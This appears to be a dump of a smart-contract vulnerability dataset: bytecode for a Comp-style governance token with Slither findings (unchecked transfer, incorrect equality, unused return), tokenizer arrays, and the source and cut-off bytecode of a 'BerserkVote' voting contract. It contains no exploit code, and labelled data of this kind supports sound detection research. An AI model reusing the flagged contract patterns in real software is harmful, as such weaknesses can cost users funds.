fffffffffffffffffffffffffffffffffff161415611d66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5d90613751565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611dd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcd90613711565b60405180910390fd5b611ddf83612682565b611e59600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806036815260200161416160369139611c7c565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550611f40600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff168260405180606001604052806030815260200161423e60309139612707565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161200a9190613885565b60405180910390a36120db600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612786565b505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16905082600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f60405160405180910390a461229a828483612786565b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612310576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161230790613771565b60405180910390fd5b61231982612682565b806bffffffffffffffffffffffff16600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff1610156123cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c690613671565b60405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166124359190613b8b565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550806000808282546124749190613b23565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124d991906137b1565b60405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415612555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254c90613791565b60405180910390fd5b61255f6000612682565b806000808282546125709190613995565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282829054906101000a90046bffffffffffffffffffffffff166125dd9190613a25565b92506101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161266991906137b1565b60405180910390a35050565b6000804690508091505090565b42600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115612704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126fb90613731565b60405180910390fd5b50565b60008083856127169190613a25565b9050846bffffffffffffffffffffffff16816bffffffffffffffffffffffff161015839061277a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612771919061364f565b60405180910390fd5b50809150509392505050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156127d057506000816bffffffffffffffffffffffff16115b15612a8e57600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614612931576000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116128735760006128f8565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006001846128c19190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b9050600061291f828560405180606001604052806028815260200161421660289139611c7c565b905061292d86848484612a93565b5050505b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614612a8d576000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900463ffffffff1690506000808263ffffffff16116129cf576000612a54565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600184612a1d9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160049054906101000a90046bffffffffffffffffffffffff165b90506000612a7b82856040518060600160405280602781526020016142ab60279139612707565b9050612a8985848484612a93565b5050505b5b505050565b6000612ab7436040518060600160405280603481526020016141e260349139612da1565b905060008463ffffffff16118015612b5557508063ffffffff16600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612b1f9190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160009054906101000a900463ffffffff1663ffffffff16145b15612bf95781600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600187612ba99190613b57565b63ffffffff1663ffffffff16815260200190815260200160002060000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550612d4a565b60405180604001604052808263ffffffff168152602001836bffffffffffffffffffffffff16815250600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008663ffffffff1663ffffffff16815260200190815260200160002060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550905050600184612cec91906139eb565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548163ffffffff021916908363ffffffff1602179055505b8473ffffffffffffffffffffffffffffffffffffffff167fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a7248484604051612d929291906138bb565b60405180910390a25050505050565b600064010000000083108290612ded576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612de4919061364f565b60405180910390fd5b5082905092915050565b6000612e0a612e0584613909565b6138e4565b90508083825260208201905082856020860282011115612e2957600080fd5b60005b85811015612e595781612e3f8882612ee1565b845260208401935060208301925050600181019050612e2c565b5050509392505050565b600081359050612e72816140d6565b92915050565b600082601f830112612e8957600080fd5b8151612e99848260208601612df7565b91505092915050565b600081519050612eb1816140ed565b92915050565b600081359050612ec681614104565b92915050565b600081359050612edb8161411b565b92915050565b600081519050612ef08161411b565b92915050565b600081359050612f0581614132565b92915050565b600081359050612f1a81614149565b92915050565b600060208284031215612f3257600080fd5b6000612f4084828501612e63565b91505092915050565b60008060408385031215612f5c57600080fd5b6000612f6a85828601612e63565b9250506020612f7b85828601612e63565b9150509250929050565b600080600060608486031215612f9a57600080fd5b6000612fa886828701612e63565b9350506020612fb986828701612e63565b9250506040612fca86828701612ecc565b9150509250925092565b60008060408385031215612fe757600080fd5b6000612ff585828601612e63565b925050602061300685828601612ecc565b9150509250929050565b60008060008060008060c0878903121561302957600080fd5b600061303789828a01612e63565b965050602061304889828a01612ecc565b955050604061305989828a01612ecc565b945050606061306a89828a01612f0b565b935050608061307b89828a01612eb7565b92505060a061308c89828a01612eb7565b9150509295509295509295565b600080604083850312156130ac57600080fd5b60006130ba85828601612e63565b92505060206130cb85828601612ef6565b9150509250929050565b6000602082840312156130e757600080fd5b600082015167ffffffffffffffff81111561310157600080fd5b61310d84828501612e78565b91505092915050565b60006020828403121561312857600080fd5b600061313684828501612ea2565b91505092915050565b60006020828403121561315157600080fd5b600061315f84828501612ecc565b91505092915050565b60006020828403121561317a57600080fd5b600061318884828501612ee1565b91505092915050565b600061319d83836131a9565b60208301905092915050565b6131b281613bbf565b82525050565b6131c181613bbf565b82525050565b60006131d282613945565b6131dc8185613968565b93506131e783613935565b8060005b838110156132185781516131ff8882613191565b975061320a8361395b565b9250506001810190506131eb565b5085935050505092915050565b61322e81613bd1565b82525050565b61323d81613bdd565b82525050565b61325461324f82613bdd565b613d3b565b82525050565b61326381613c46565b82525050565b61327281613c6a565b82525050565b600061328382613950565b61328d8185613979565b935061329d818560208601613c8e565b6132a681613dd2565b840191505092915050565b60006132be602283613979565b91506132c982613de3565b604082019050919050565b60006132e1602683613979565b91506132ec82613e32565b604082019050919050565b6000613304602683613979565b915061330f82613e81565b604082019050919050565b600061332760028361398a565b915061333282613ed0565b600282019050919050565b600061334a602783613979565b915061335582613ef9565b604082019050919050565b600061336d602283613979565b915061337882613f48565b604082019050919050565b6000613390603a83613979565b915061339b82613f97565b604082019050919050565b60006133b3601f83613979565b91506133be82613fe6565b602082019050919050565b60006133d6603c83613979565b91506133e18261400f565b604082019050919050565b60006133f9602183613979565b91506134048261405e565b604082019050919050565b600061341c601f83613979565b9150613427826140ad565b602082019050919050565b61343b81613c07565b82525050565b61344a81613c11565b82525050565b61345981613c21565b82525050565b61346881613c7c565b82525050565b61347781613c2e565b82525050565b60006134888261331a565b91506134948285613243565b6020820191506134a48284613243565b6020820191508190509392505050565b60006020820190506134c960008301846131b8565b92915050565b60006060820190506134e460008301866131b8565b6134f160208301856131b8565b6134fe6040830184613432565b949350505050565b600060408201905061351b60008301856131b8565b6135286020830184613432565b9392505050565b60006020820190506135446000830184613225565b92915050565b600060208201905061355f6000830184613234565b92915050565b600060808201905061357a6000830187613234565b61358760208301866131b8565b6135946040830185613432565b6135a16060830184613432565b95945050505050565b60006080820190506135bf6000830187613234565b6135cc6020830186613234565b6135d96040830185613432565b6135e660608301846131b8565b95945050505050565b60006080820190506136046000830187613234565b6136116020830186613450565b61361e6040830185613234565b61362b6060830184613234565b95945050505050565b6000602082019050613649600083018461325a565b92915050565b600060208201905081810360008301526136698184613278565b905092915050565b6000602082019050818103600083015261368a816132b1565b9050919050565b600060208201905081810360008301526136aa816132d4565b9050919050565b600060208201905081810360008301526136ca816132f7565b9050919050565b600060208201905081810360008301526136ea8161333d565b9050919050565b6000602082019050818103600083015261370a81613360565b9050919050565b6000602082019050818103600083015261372a81613383565b9050919050565b6000602082019050818103600083015261374a816133a6565b9050919050565b6000602082019050818103600083015261376a816133c9565b9050919050565b6000602082019050818103600083015261378a816133ec565b9050919050565b600060208201905081810360008301526137aa8161340f565b9050919050565b60006020820190506137c66000830184613432565b92915050565b600060a0820190506137e16000830188613432565b6137ee6020830187613269565b818103604083015261380081866131c7565b905061380f60608301856131b8565b61381c6080830184613432565b9695505050505050565b600060208201905061383b6000830184613441565b92915050565b60006040820190506138566000830185613441565b613863602083018461346e565b9392505050565b600060208201905061387f6000830184613450565b92915050565b600060208201905061389a600083018461345f565b92915050565b60006020820190506138b5600083018461346e565b92915050565b60006040820190506138d0600083018561345f565b6138dd602083018461345f565b9392505050565b60006138ee6138ff565b90506138fa8282613cc1565b919050565b6000604051905090565b600067ffffffffffffffff82111561392457613923613da3565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b60006139a082613c07565b91506139ab83613c07565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156139e0576139df613d45565b5b828201905092915050565b60006139f682613c11565b9150613a0183613c11565b92508263ffffffff03821115613a1a57613a19613d45565b5b828201905092915050565b6000613a3082613c2e565b9150613a3b83613c2e565b9250826bffffffffffffffffffffffff03821115613a5c57613a5b613d45565b5b828201905092915050565b6000613a7282613c07565b9150613a7d83613c07565b925082613a8d57613a8c613d74565b5b828204905092915050565b6000613aa382613c11565b9150613aae83613c11565b925082613abe57613abd613d74565b5b828204905092915050565b6000613ad482613c07565b9150613adf83613c07565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b1857613b17613d45565b5b828202905092915050565b6000613b2e82613c07565b9150613b3983613c07565b925082821015613b4c57613b4b613d45565b5b828203905092915050565b6000613b6282613c11565b9150613b6d83613c11565b925082821015613b8057613b7f613d45565b5b828203905092915050565b6000613b9682613c2e565b9150613ba183613c2e565b925082821015613bb457613bb3613d45565b5b828203905092915050565b6000613bca82613be7565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000613c5182613c58565b9050919050565b6000613c6382613be7565b9050919050565b6000613c7582613c07565b9050919050565b6000613c8782613c2e565b9050919050565b60005b83811015613cac578082015181840152602081019050613c91565b83811115613cbb576000848401525b50505050565b613cca82613dd2565b810181811067ffffffffffffffff82111715613ce957613ce8613da3565b5b80604052505050565b6000613cfd82613c07565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613d3057613d2f613d45565b5b600182019050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c69642073696760008201527f6e61747572650000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a207369676e6174757265206560008201527f7870697265640000000000000000000000000000000000000000000000000000602082015250565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b7f436f6d703a3a6765745072696f72566f7465733a206e6f74207965742064657460008201527f65726d696e656400000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a64656c656761746542795369673a20696e76616c6964206e6f6e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e7366657220746f20746865207a65726f2061646472657373000000000000602082015250565b7f7472616e736665723a746f6f20736f6f6e206166746572206d696e74696e6700600082015250565b7f436f6d703a3a5f7472616e73666572546f6b656e733a2063616e6e6f7420747260008201527f616e736665722066726f6d20746865207a65726f206164647265737300000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b6140df81613bbf565b81146140ea57600080fd5b50565b6140f681613bd1565b811461410157600080fd5b50565b61410d81613bdd565b811461411857600080fd5b50565b61412481613c07565b811461412f57600080fd5b50565b61413b81613c11565b811461414657600080fd5b50565b61415281613c21565b811461415d57600080fd5b5056fe436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365436f6d703a3a617070726f76653a20616d6f756e7420657863656564732039362062697473436f6d703a3a7472616e736665723a20616d6f756e7420657863656564732039362062697473436f6d703a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d62657220657863656564732033322062697473436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f7773436f6d703a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f7773436f6d703a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e6365436f6d703a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f7773a2646970667358221220e625585c342c236fd6729680a390d4c2e319a15578c25d2e21a5dff51efd073164736f6c63430008010033 | {"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'unchecked-transfer', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
23352,
2063,
2692,
27717,
2692,
2581,
2546,
2581,
18827,
2549,
2094,
27814,
24087,
2581,
22407,
2497,
2629,
2546,
2683,
2581,
2683,
2497,
29097,
17914,
2497,
2692,
2050,
2575,
2581,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
14246,
2140,
1011,
1017,
1012,
1014,
1011,
2030,
1011,
2101,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
11387,
3115,
2004,
4225,
1999,
1996,
1041,
11514,
1012,
1008,
1013,
8278,
29464,
11890,
11387,
1063,
1013,
1008,
1008,
1008,
1030,
16475,
5651,
1996,
3815,
1997,
19204,
2015,
1999,
4598,
1012,
1008,
1013,
3853,
21948,
6279,
22086,
1006,
1007,
6327,
3193,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1025,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,560 | 0x95576a0254a2de3057a4bf28d593e524d64ff7d6 | pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface BerserkRewards {
function stakingPower(address account) external view returns (uint256);
}
contract BerserkVote {
using SafeMath for uint256;
uint8 public constant MAX_VOTERS_PER_ITEM = 50;
uint16 public constant MIN_VOTING_VALUE = 50; // 50% (x0.5 times)
uint16 public constant MAX_VOTING_VALUE = 200; // 200% (x2 times)
mapping(address => mapping(uint256 => uint8)) public numVoters; // poolAddress -> votingItem (periodFinish) -> numVoters (the number of voters in this round)
mapping(address => mapping(uint256 => address[MAX_VOTERS_PER_ITEM])) public voters; // poolAddress -> votingItem (periodFinish) -> voters (array)
mapping(address => mapping(uint256 => mapping(address => bool))) public isInTopVoters; // poolAddress -> votingItem (periodFinish) -> isInTopVoters (map: voter -> in_top (true/false))
mapping(address => mapping(uint256 => mapping(address => uint16))) public voter2VotingValue; // poolAddress -> votingItem (periodFinish) -> voter2VotingValue (map: voter -> voting value)
event Voted(address poolAddress, address indexed user, uint256 votingItem, uint16 votingValue);
function getNumVotes( address poolAddressStake, uint256 valueAmount ) public view returns (uint256){
return numVoters[poolAddressStake][valueAmount];
}
function isVotable(address poolAddress, address account, uint256 votingItem) public view returns (bool) {
// already voted
if (voter2VotingValue[poolAddress][votingItem][account] > 0) return false;
BerserkRewards rewards = BerserkRewards(poolAddress);
// hasn't any staking power
if (rewards.stakingPower(account) == 0) return false;
// number of voters is under limit still
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) return true;
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < rewards.stakingPower(account)) return true; // there is some voters has lower staking power
}
return false;
}
function averageVotingValue(address poolAddress, uint256 votingItem) public view returns (uint16) {
if (numVoters[poolAddress][votingItem] == 0) return 0; // no votes
uint256 totalStakingPower = 0;
uint256 totalWeightVotingValue = 0;
BerserkRewards rewards = BerserkRewards(poolAddress);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
address voter = voters[poolAddress][votingItem][i];
totalStakingPower = totalStakingPower.add(rewards.stakingPower(voter));
totalWeightVotingValue = totalWeightVotingValue.add(rewards.stakingPower(voter).mul(voter2VotingValue[poolAddress][votingItem][voter]));
}
return (uint16) (totalWeightVotingValue.div(totalStakingPower));
}
function vote(address poolAddress, uint256 votingItem, uint16 votingValue) public {
require(votingValue >= MIN_VOTING_VALUE, "votingValue is smaller than MIN_VOTING_VALUE");
require(votingValue <= MAX_VOTING_VALUE, "votingValue is greater than MAX_VOTING_VALUE");
if (!isInTopVoters[poolAddress][votingItem][msg.sender]) {
require(isVotable(poolAddress, msg.sender, votingItem), "This account is not votable");
uint8 voterIndex = MAX_VOTERS_PER_ITEM;
if (numVoters[poolAddress][votingItem] < MAX_VOTERS_PER_ITEM) {
voterIndex = numVoters[poolAddress][votingItem];
} else {
BerserkRewards rewards = BerserkRewards(poolAddress);
uint256 minStakingPower = rewards.stakingPower(msg.sender);
for (uint8 i = 0; i < numVoters[poolAddress][votingItem]; i++) {
if (rewards.stakingPower(voters[poolAddress][votingItem][i]) < minStakingPower) {
voterIndex = i;
minStakingPower = rewards.stakingPower(voters[poolAddress][votingItem][i]);
}
}
}
if (voterIndex < MAX_VOTERS_PER_ITEM) {
if (voterIndex < numVoters[poolAddress][votingItem]) {
isInTopVoters[poolAddress][votingItem][voters[poolAddress][votingItem][voterIndex]] = false; // remove lower power previous voter
} else {
++numVoters[poolAddress][votingItem];
}
isInTopVoters[poolAddress][votingItem][msg.sender] = true;
voters[poolAddress][votingItem][voterIndex] = msg.sender;
}
}
voter2VotingValue[poolAddress][votingItem][msg.sender] = votingValue;
emit Voted(poolAddress, msg.sender, votingItem, votingValue);
}
} | 0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806373e4b9031161007157806373e4b903146103025780637bfb81e5146103265780638335e59a1461034c57806397ec0ffd146103b4578063d8476fec1461041e578063eab9843014610480576100a9565b80631159222a146100ae5780633706352b14610134578063418bed88146101ba5780634ec6e056146102525780635ff7710d146102dc575b600080fd5b61011a600480360360608110156100c457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104dc565b604051808215151515815260200191505060405180910390f35b6101a06004803603606081101561014a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061095d565b604051808215151515815260200191505060405180910390f35b610210600480360360608110156101d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050610999565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109e8565b604051808261ffff1661ffff16815260200191505060405180910390f35b6102e4610a25565b604051808261ffff1661ffff16815260200191505060405180910390f35b61030a610a2a565b604051808260ff1660ff16815260200191505060405180910390f35b61032e610a2f565b604051808261ffff1661ffff16815260200191505060405180910390f35b6103986004803603604081101561036257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a34565b604051808260ff1660ff16815260200191505060405180910390f35b610400600480360360408110156103ca57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a63565b604051808261ffff1661ffff16815260200191505060405180910390f35b61046a6004803603604081101561043457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e4f565b6040518082815260200191505060405180910390f35b6104da6004803603606081101561049657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803561ffff169060200190929190505050610eb9565b005b600080600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900461ffff1661ffff16111561058e5760009050610956565b600084905060008173ffffffffffffffffffffffffffffffffffffffff1663ffe48902866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561061257600080fd5b505afa158015610626573d6000803e3d6000fd5b505050506040513d602081101561063c57600080fd5b8101908080519060200190929190505050141561065d576000915050610956565b603260ff166000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060009054906101000a900460ff1660ff1610156106d2576001915050610956565b60008090505b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600085815260200190815260200160002060009054906101000a900460ff1660ff168160ff16101561094f578173ffffffffffffffffffffffffffffffffffffffff1663ffe48902866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107bf57600080fd5b505afa1580156107d3573d6000803e3d6000fd5b505050506040513d60208110156107e957600080fd5b81019080805190602001909291905050508273ffffffffffffffffffffffffffffffffffffffff1663ffe48902600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008881526020019081526020016000208460ff166032811061087457fe5b0160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108f657600080fd5b505afa15801561090a573d6000803e3d6000fd5b505050506040513d602081101561092057600080fd5b8101908080519060200190929190505050101561094257600192505050610956565b80806001019150506106d8565b5060009150505b9392505050565b6002602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900460ff1681565b600160205282600052604060002060205281600052604060002081603281106109be57fe5b01600092509250509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6003602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900461ffff1681565b60c881565b603281565b603281565b60006020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b6000806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002060009054906101000a900460ff1660ff161415610ad55760009050610e49565b60008090506000809050600085905060008090505b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600087815260200190815260200160002060009054906101000a900460ff1660ff168160ff161015610e2f576000600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000